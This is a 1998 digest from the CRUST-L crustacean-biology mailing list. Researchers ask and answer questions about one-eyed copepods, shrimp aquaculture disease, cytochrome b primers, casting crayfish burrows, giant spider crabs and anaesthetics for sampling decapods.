08:42:08 -0700 (PDT) Subject: CRUST-L: Cyclops- why one eye? Why do some Crustaceans have only one eye? debi Ingrao Mote Marine Laboratory Phone: (941) 388-4441 EXT. 436 Benthic Ecology Program Fax: (941) 388-4312 1600 Thompson Parkway Sarasota, Fl 34236 e-mail: debi@marinelab.sarasota.fl.us See: http://www.marinelab.sarasota.fl.us We are an independent, nonprofit, marine and estuarine research and education facility. Opinions expressed here are NOT MML policy unless so indicated. Don't CLAM up! THINK SAFETY =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: J F Le Bitoux Date: Fri, 08 May 1998 17:53:56 +0200 Subject: CRUST-L: aquaculture and the web Aquaculture, the aquatic living World Wide Web, the pathology logical ... and solutions A recent report about Biodiversity mentioned that � in fresh water and marine communities, information is currently completely absent �. Any aquaculture experience is a valuable source of information to help understand the microflora web evolution, normal and pathological : synthetic view is not easy. Biodiversity is a balance, stable or unstable, up to the time frame, in agreement with local environment - mineral and climate - , thus local biochemistry. Is modern marine aquaculture a sustainable activity ? Or does it affect the environment and destroy it ? To aquacultivate or not to aquacultivate ? That is the question ! Answers and solutions lie in a better understanding and true practical control of the interaction between culture and the microflora World Wide Web. The aquatic microflora is also a � natural � World Wild Web, capable of developing true � clean � bacterial wars to reduce � any organic load �, dead or still alive, back to where it started from : the mineral world in a clean water environment accepting more biodiversity. It is not a science fiction film ! Shrimp culture, from easy time to disease Marine shrimp aquaculture production have grown rapidly and is still producing over 700.000 T all over the world and representing an impressive source of wealth in areas that have little alternative to offer. Since 1988, some national productions have dropped significantly, because of � disease �. In 1998, disease is still considered as a major threat by most of the actors, producers, bankers, politicians and ecologists that claim that land has been destroyed for no purpose. Be reinsured, ecologist friends, there is nothing easier to clean than a shrimp pond : anywhere in the world, any shrimp pond can be rehabilitated, put back in operation and profit, at low cost (if it was correctly conceived) . Disease can be prevented and production doubled, being at the same time, ecologically correct ! Disease are youth errors due to poor technology and ignorance and as it is often the case in R'n'D, to study pathological situation helps to understand how a healthy balanced situation works and how to maintain it. A complete book will be probably necessary to describe and explain the biochemical pathways that lead from health to pathology. Health and pathology use the same biochemical laws and pathogenicity is a normal fate for an efficient germ : disease signs the success of the microflora wild web in digesting organic overload and the failure of culturist technology in controlling the life of his ponds ! Aquaculture technology and the microflora Web The early shrimp farming years were a gold rush. Imre Csavas, FAO Regional Aquaculture Officer in Asia, observed in 1994, that � the largely empirical nature of shrimp culture development �. World aquaculture 1994 , 25(1), p.36. Shrimp grows well, without much care in various environmental conditions ; it demonstrates they are very hardy animals and dollars can be harvested every 3 to 5 months. No difficult technology is required : if the neighbour can do it, anybody can do it. Everywhere around the world, the easy early years face difficult follow up due to similar situations, because of � disease �, that sound as excuse ! � A little learning is a dangerous thing � said the poet A. Pope. But disease is not middle age plague any more. Disease germ obeys to the same biochemical and biological laws that rule the shrimp environment. Through those laws, it is always possible to read what is occurring in a pond. There is a biological and biochemical logic in disease apparition and dis-apparition. Dis-ease in industrial husbandry is mainly due to opportunistic agents and build up, from the local microflora web. To monitor it is a precious tool to understand better, normal and pathological situation and how to shift it back to normal. True scientific and industrial solution of culture farming technology should include preventive measure against �crowding disease � to be complete. Shrimp aquaculture : a know how or a true technology ? What is an artisan extensive culture technology ? Basically, it consists in destroying predators, seeding with juveniles and in avoiding oxygen depletion through some water management. It is a true � know how � based on local personal experience and need little monitoring. To manage extensively an aquaculture pond is more an art than a technology, lacking of theoretical concept. Historically, agriculture operated in similar ways during centuries ! But it is very difficult to help an artist : he has an holistic view of his art and he does not need to monitor any parameters to produce. Co-operation between scientific and artist is difficult. Only industrial orientated producers will be able to inject better technology and to improve production. For a more industrial approach, as in the computer business, aquaculture technology requires hardware and software. Hardware is the engineering part and software should be specifically adapted to it and to the location. To copy a program without true understanding of scientific back ground, from a different place leads sometime to disappointing results. The software is made of a main program and subprograms representing specific procedures ; controls subprograms ensure that the operation is managed in a correct way. Pathology can be considered as an unwritten subprogram that takes the lead on the main program, mainly because of lack of real control of the environment. Vaccination is, in fish and higher vertebrate, an efficient sub program in culture technology, a way to avoid the impact of outside bugs. But in shrimp culture, vaccination is not possible and bug has its own life, it reproduces and often destroys host tissue. So the answer to pathology in aquaculture is to reprogram technology from day one, in order to � control � the normal microflora web. It represents clearly more complete understanding of various biochemical process and procedure than any extensive practice and it can be applied to many � ecological � situations, in open or closed ecosystem. Economical solutions are available today and can be adapted to any situations. The aquatic living World Wide Web : logical efficiency leading to pathogenicity The understanding of the disease evolution process supposes to recognise that in the aquatic world, germ life is a continuous challenge in adapting to new environment conditions. Any standing position is provisional : life is only a long chain of dis-balance links. Without inclining towards anthropocentrism, - nor any social comparison - the normal fate of any opportunistic germ is to become pathogen when condition allows it. Additional organic load in an aquatic ecosystem induces an immediate microbial response to digest it and to treat the waste. Biochemical load induces biological response from the microbial web. Thank to such efficiency, evolution and biodiversity have been made possible. But any dis-balance may induce dis-ease in some hosts, as normal part of evolution. Technology consists in being economically more efficient. Today disease situation in most of extensive shellfish culture are due to secondary invaders that have turn pathogen - bacteria, virus and anything in between - because of limited management procedures. In other words, disease of the shellfish are due to some pathology of management and/or ageing environment, which is the consequence of poor technology and management. It is not a chaotic world : biochemical laws may lead to pathology more often than to healthy products ! It is the evolution operating under our eyes, augmenting or reducing biodiversity ! As in any system, it is the dosage that makes the therapeutic or the poison : little pollution may be beneficial. Extensive aquaculture is similar to extensive agriculture. It is an Art which has its limit : pathology is one of them. And scientists are not professional artist. Books could be written - and probably will by some Internet participants - on culture technology, programming and disease prevention, but all the information is already available in various books covering exotic university knowledge such as water and soil physic, chemistry, biochemistry, bacteriology, immunology, and more specific sectors as engineering, industrial crowding disease, etc... The way to theoretical interpretation is a � long and winding road � but, as in many biotechnology, practical procedures are reliable and economical in a given program. Conclusion It was a shock to a lot of � scientific aquaculturists � that marine modern Aquaculture can be a threat to the environment and, as ecologist born, that they were on the wrong side : not at all ! Aquaculturists scientists are climbing on the shoulders on many colleagues from various origin from � true fundamental scientific world �, in order to understand and better manage any ecosystem, natural, extensive or more intensive. To put such knowledge in practice is a different political story ! Nature has his way. Not to choose not to do anything IS a selected political choice with unknown consequences. NOT to do is � the temptation to remain innocent � - from a French political essay by P. Bruckner. It has social, ecological, thus political implication sometime deeper than action ! Microbial activity is regular biochemical answers to daily environmental fluctuations ; pathology is part of normal life of the aquatic World Wide Web, eventually � turning Wild � facing high organic load. In aquatic ecosystem, Health, Sustainability and Biodiversity are temporary balances, with faster turn over than out in the air. And trying to stabilise this fluctuating environment is probably a good reason to walk out of the water ! To cultivate or not to cultivate ? Is that still the question ? In an aquatic site, Nature has developed its � controls � to reach some level of productivity and biodiversity and technology pretends to do better, in a limited time frame, but may leave some � costly � residues behind. So the only immediate answer is : when the site can be disinfected, any culture is possible, whether in open water or in a closed system; if not, Nature have to take care of the left over, at its own speed, and it may include dis-ease pathways ! Is shrimp farming sustainable ? The easy obvious answer is : of course ! Very extensive farming will remain an art, managed by artist, receiving little from scientists. But it is not dangerous for the environment ! It does not need any pH meter. Semi intensive farming will act as any responsible industrial producer and will be ecologically correct : there is nothing easier to clean that water and technology is available ! 2000's fish and shellfish farming has already started to produce and is a complete closed system. This is not in order to please romantic ecologists but simply because it is safer and cheaper - the only key word that counts ! Cheaper because of higher survival, better growth rate, and soon permitting genetic selection. J. F. Le Bitoux Canet, France, 8/5/98 Doctor Veterinarian ; 25 years in shrimp culture =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 8 May 1998 08:50:04 -0400 (EDT) Subject: CRUST-L: crust primers Please respond to Alexandra Hiller and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Fri, 8 May 1998 04:33:51 -0400 From: owner-crust-l@back.vims.edu To: owner-crust-l@back.vims.edu From: alexandra hiller X-Mailer: Mozilla 3.01 (Win95; I) MIME-Version: 1.0 To: crust-l@vims.edu Subject: question on cytochrome b Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear sirs: I am trying to do some research on crustacean phylogeny using the cytochrome b gene sequence. I am still looking for the right primers. Do you have any suggestions? I would appreciate very much any information you could send me. Best wishes, Alexandra Hiller Justus-Liebig University Giessen, Germany =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 8 May 1998 08:51:00 -0400 (EDT) Subject: [none] Please respond to Wulf Kobusch and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Comments: Authenticated sender is From: ""Wulf Kobusch"" To: clawrence@fish.wa.gov.au Date: Fri, 8 May 1998 13:03:43 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: Quoted-printable Subject: Re: CRUST-L: BURROWS CC: CRUST-L@VIMS.EDU Priority: normal In-reply-to: <98May8.113542gmt+0800.53762@firewall.fish.wa.gov.au> X-mailer: Pegasus Mail for Win32 (v2.54) Dear Craig, I just remember that the article below also deals with burrows of crabs (Thalassinidea); I just have the title in my database and could not look it up, but I think they also used expanding foam (?) in order to get the shape and 3-D-reconstruction of the burrows. Hope this is of interest: ZIEBIS, S.; FORSTER, M.; HUETTEL, B.; J=D8RGENSEN, B. B. (1996): Complex burrows of the mud shrimp Callianassa trunctata and their geochemical impact in the sea bed. Nature 382 (15. August): 619-622. Best regards Wulf *************************************************** Wulf Kobusch Ruhr Universitaet Bochum Spezielle Zoologie, ND 05/776 Universitaetsstrasse 150 44801 Bochum, GERMANY phone: +49 (0)234-700-5577 fax: +49 (0)234-7094114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Sat, 9 May 1998 11:18:49 -0500 Subject: CRUST-L: Cyclops- why one eye? Space? They're too small for more than one compound eye, and don't need more than one anyway? Trivia section: anybody here listen to ""Sounds Like Science"" on PBS? They had a quiz question asking how many animals have only one eye. Their official answer was ""none, at least two eyes are always required"". From the resident Physicist (the author of ""The Science of Jurassic Park"", *if* I recall correctly). Phil > >Why do some Crustaceans have only one eye? > >debi > >Ingrao >Mote Marine Laboratory Phone: (941) 388-4441 EXT. 436 >Benthic Ecology Program Fax: (941) 388-4312 >1600 Thompson Parkway >Sarasota, Fl 34236 e-mail: debi@marinelab.sarasota.fl.us }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: paul Date: Sun, 10 May 1998 19:50:22 +0800 Subject: CRUST-L: Giant spider crabs Hi all, Could anyone tell me the species name and distribution of the giant deep sea spider crabs that have been exhibited in Japenese aquariums? TIA Paul Paul Groves Head Aquarist Underwater World - Perth - Australia Founder MASWA - Marine Aquarists Society of WA Email paul@nw.com.au ICQ VIN# 4231441 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Brian Victor Leonard"" Date: Mon, 11 May 1998 16:20:57 +1000 Subject: Re: CRUST-L: BURROWS > Has anyone had any experience describing the morphology of crayfish > burrows? I am trying to work out the shape and depth of burrows and so far > have only come up with cement, resin, latex and expanding foam, some have > provided acceptable results, none are brilliant and all require a lot of > digging!! Craig, I seem to recall some work done in the past with molten lead. However, you still have to dig. Would a camera on the end of optical fibres have some potential? Happy digging Brian Brian Leonard Senior Lecturer in Ecology / Aquaculture Dept Applied Biology & Biotechnology RMIT University Box 2476V GPO Melbourne Vic 3001 Australia Phone (03)9660 3189 Fax (03) 9662 3421 Country code 61 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #142 ***************************** >From owner-crust-l Thu May 14 09:18:26 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id JAA07018 for crust-l-digest-outgoing; Thu, 14 May 1998 09:15:39 -0400 Date: Thu, 14 May 1998 09:15:39 -0400 Message-Id: <199805141315.JAA07018@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #143 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 17 crust-l-digest Thursday, 14 May 1998 Volume 01 : Number 143 CRUST-L: ICC-4 Announcement [none] CRUST-L: email to Dr P. McLaughlin Re: CRUST-L: BURROWS -Reply CRUST-L: Eric M. Preston's address CRUST-L: Re: How to retrieve old crust-l CRUST-L: advice book CRUST-L: More giant spider crab info please?? CRUST-L: anaesthetics CRUST-L: MS222 CRUST-L: one-eyed crusties CRUST-L: Aphanomyces astaci Re: CRUST-L: anaesthetics Re: CRUST-L: Aphanomyces astaci Re: CRUST-L: anaesthetics CRUST-L: alistair richardson ---------------------------------------------------------------------- From: Jeffrey Shields Date: Mon, 11 May 1998 09:32:36 -0400 (EDT) Subject: CRUST-L: ICC-4 Announcement - ---------- Forwarded message ---------- X-Sender: schram@mail.bio.uva.nl Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 8 May 1998 16:22:49 +0100 To: CRUST-L@VIMS.EDU From: schram@bio.uva.nl (Frederick Schram) Subject: announcement about ICC-4 For the Net please: ______________________ The ICC-4 steering committee has arranged for access and use of the University of Amsterdam computer center, which is adjacent to the location of the afternoon contributed paper sessions. We have planned some demonstrations of particular kinds of software: such as DELTA, Linnaeus II, the Crustacea Data Base, WorldMap. However, we are sure that there are other ""private"" software programs that many of you would like to bring along and demonstrate to the rest of us. If you would like to do this, please make contact with Ronald Vonk: vonk@bio.uva.nl The center is well equipped with PC's. However, if there is a significant demand for Mac's, we will need to know that so we can set-up some Mac machines for congress participants. ICC-4 _______________________________ ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl www.bio.uva.nl/onderzoek/cepa also check out: www.uva.nl/uva/aktueel/congres/crustacean.html ___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: owner-crust-l Date: Mon, 11 May 1998 10:38:36 -0400 Subject: [none] Student members, Sender: owner-crust-l@back.vims.edu Precedence: bulk Reply-To: Jeffrey Shields It's that time of the year again. If you're graduating, or going on an extended leave, please take a second to unsubscribe from CRUST-L. See the directions at the end of the message. For those taking a vacation you can subscribe in a digest mode. If you forget, I also post all of the crust-l traffic in an archive, but I'm a few weeks behind at the moment. Cheers, Jeff =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Matz Berggren"" Date: Mon, 11 May 1998 17:26:54 +0200 Subject: CRUST-L: email to Dr P. McLaughlin Dear Crusters, I am trying to find the email address for Dr Patsy McLaughlin, does anybody on the list know it? Please answer to me directly, matz Matz Berggren MIME-compilant Marine Ecology / Goteborg University Kristineberg Marine Research Station (http://www.kmf.gu.se) S-450 34 Fiskebackskil SWEDEN Tel: +46-(0)523-18532 Fax: +46-(0)523-18503 Fax: +46-(0)523-18502 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Dave O'Neill"" Date: Mon, 11 May 1998 13:52:01 -0400 Subject: Re: CRUST-L: BURROWS -Reply Crusties: Cavities between well pipes and surrounding soil are filled with a thin cement grout. No sand or gravel added. Portland cement type II was normally used here. It was sometimes poured from the top and displaced water, but the preferred method was to pump through a pipe that was withdrawn as grout level rose. When surface soil was removed to access the pipe, the grout had a nice impression of the soil. Has anyone tried a thin cement grout for burrows casting? I've used expanding foam and had best luck using a tube extending into the cavity. Dave O'Neill =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Ayax R. Diaz R."" Date: Mon, 11 May 1998 15:41:44 -0500 (CDT) Subject: CRUST-L: Eric M. Preston's address Dear Crusters, Does anybody knows the current email address of Dr. Eric M. Preston? He was working at the E.P.A. some time ago but now his server doesn't recognize his address (preston@mercury.cor.epa.gov) I'd really appreciate if somebody could help me. Thanks. Ayax R. Diaz Ruiz Departamento de Biologia Marina Universidad Autonoma de Baja California Sur Km 5.5 Carretera al Sur, A.P.19-B. C.P. 23080 La Paz, B.C.S. Mexico. email: adiaz@calafia.uabcs.mx ayax@lapaz.cromwell.com.mx =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Jansen, Teunis Mikael"" Date: Tue, 12 May 1998 10:19:00 +0200 Subject: CRUST-L: Re: How to retrieve old crust-l CRUSTLers, I have put the archives of CRUST-L posts on the web. If you wish to see them, go to http://www.vims.edu/~jeff/archive.htm They're currently organized by month, but I'm open to organizing them by year if you think it'll be easier to search for keywords. Let me know if you use them. > Today's thread on anastethics has reminded me of an old thread, dating back > to about one year ago, which I lost from my PC. > > How can I retrieve those messages? Re anaesthetics: this topic, and the one on anti-coagulants come up enough that they would make a good web page. Any takers? Cheers, Jeff List Administrator jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: propal@tin.it Date: Tue, 12 May 1998 13:11:21 +0100 Subject: CRUST-L: advice book Just publishes: Botosaneanu L. (Ed.), 1998 - Studies in Crenobiology - The biology of springs and springbrokks. Hardbound, pp. 262 with 2O b/w photographs and numerous illustrations. ISBN: 90-73348-04-8 LIT. 160,000 about USD 92.00 Contents: - - Influence of light regine and water chemistru on structure of forest spring vegetation by Beierkuhnlein & Grasie - - Mound springs of Australia by Knott & Jasinska - - Macronivertebrate biodiversity, water quality and hydrogeology of ten kasrst springs in the Salem Plateau, Illinois by Webb et al. - - Springs as model systems for ecology and evolutionary biology by Glazier - - Life history of the water mite Arrenurus hamrumi by Anderson - - Migration patterns of four macroinvertebrats along a rheocrene therma spring by Hayuford & Herrmann - - Biology of primitive distinctly crenophilic caddifishes, Ptilocolepinae by= Ito - - Invertebrate richness and Trichoptera phenology in Sierra Nevada cold spring by Erman - - Quelltypische Koecherfliegen in Nordrhein-Westfalen, ein Ueberblick ny Rob= ert - - Trichopteran fauna of Italian springs by Cianficconi et al. - - Generic composition of Chironomid fauna in N. American springs by Ferringt= on - - Dipteran community of Central European springs by Wagner et al. - - Eucrenon/Hypocrenon ecotone and spring typology in the Alps of Bertchtesgade, A study of microcrustacea and water mites by Gerecke et al. - - Die Quellfauna der hessischen Mittelgebirgsregion by Fischer et al. - - Multivariatr analyses of macrofaunal communities in Danish sprngs and springbrooks by Lindegaard et al. - - Biological communities in springbrooks by McCabe - - Sources: aux portes du Styx by Botosaneanu - - Invertebrate communities from freshwater springs: what can they contribute to pure an applied ecology? by Williams order to: naturama@tin.it Naturama is a non-profit organization that deal as bookseller in order to ra= ise funds for his searchs on marine biology in the Mediterranean and his educational projects. Naturama support: WWF-Italia, Societ=E0 Italiana di Malacologia, Museo Malacologico di Menfi, Societ=E0 Siciliana di Scienze Naturali and other small organizati= ons. Regards Riccardo Giannuzzi-Savelli =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: paul Date: Tue, 12 May 1998 20:19:16 +0800 Subject: CRUST-L: More giant spider crab info please?? Hi all, Thanks to all those whom gave me the name of the Japanese giant spider crabs. John Seccombe also advised me that another species exists in New Zealand. Does anyone know what that species is and how big it gets? I'm also interested to know if Australia has any giant spider crabs lurcking somewhere ?? Thanks again, Paul Paul Groves Head Aquarist Underwater World - Perth - Australia Founder MASWA - Marine Aquarists Society of WA Email paul@nw.com.au ICQ VIN# 4231441 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 12 May 1998 15:26:52 -0400 (EDT) Subject: CRUST-L: anaesthetics Please respond to Adrian Linnane, and not to me. Thanks, Jeff Ps. This would make a good start for a FAQ. If anyone is interested in preparing it, I could archive it on crust-l. - ---------- Forwarded message ---------- From: ADRIAN LINNANE ZOO DEPT Subject: anaesthetic thread To: CRUST-L@VIMS.EDU Message-id: <01IWY7YI5HV600AJXM@bodkin.ucg.ie> X-VMS-To: CRUST-L@VIMS.EDU MIME-version: 1.0 Hi People, Sorry to once again revive the ghost of anaesthetic thread past but I'm hoping someone out there can help us. This Summer we are hoping to sample some of the crevice dwelling decapods which exist subtidally along the west coast of Ireland. Some of the crevices can be 2-3 metres deep making it difficult to reach the animals. One idea we are working with involves shooting some kind of anaesthetic into the crevice and then removing the fauna with a diver operated suction sampler. My questions are 1) Has anybody sampled similar type habitat and if so, what method would you recommend? 2) What anaesthetic could be suitable? I have consulted the crust-L archives with MS-222 and MgCl2 being the most frequently used. Would these be suitable for divers working at depths of approx. 10 metres? Thanking you for your time, Adrian Linnane Martin Ryan Marine Science Institute, National University of Ireland, Galway, Ireland Tel: +353 91 524411 Ext.3194 Fax: +353 91 525005 E-Mail: Adrian.Linnane@UCG.ie =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to 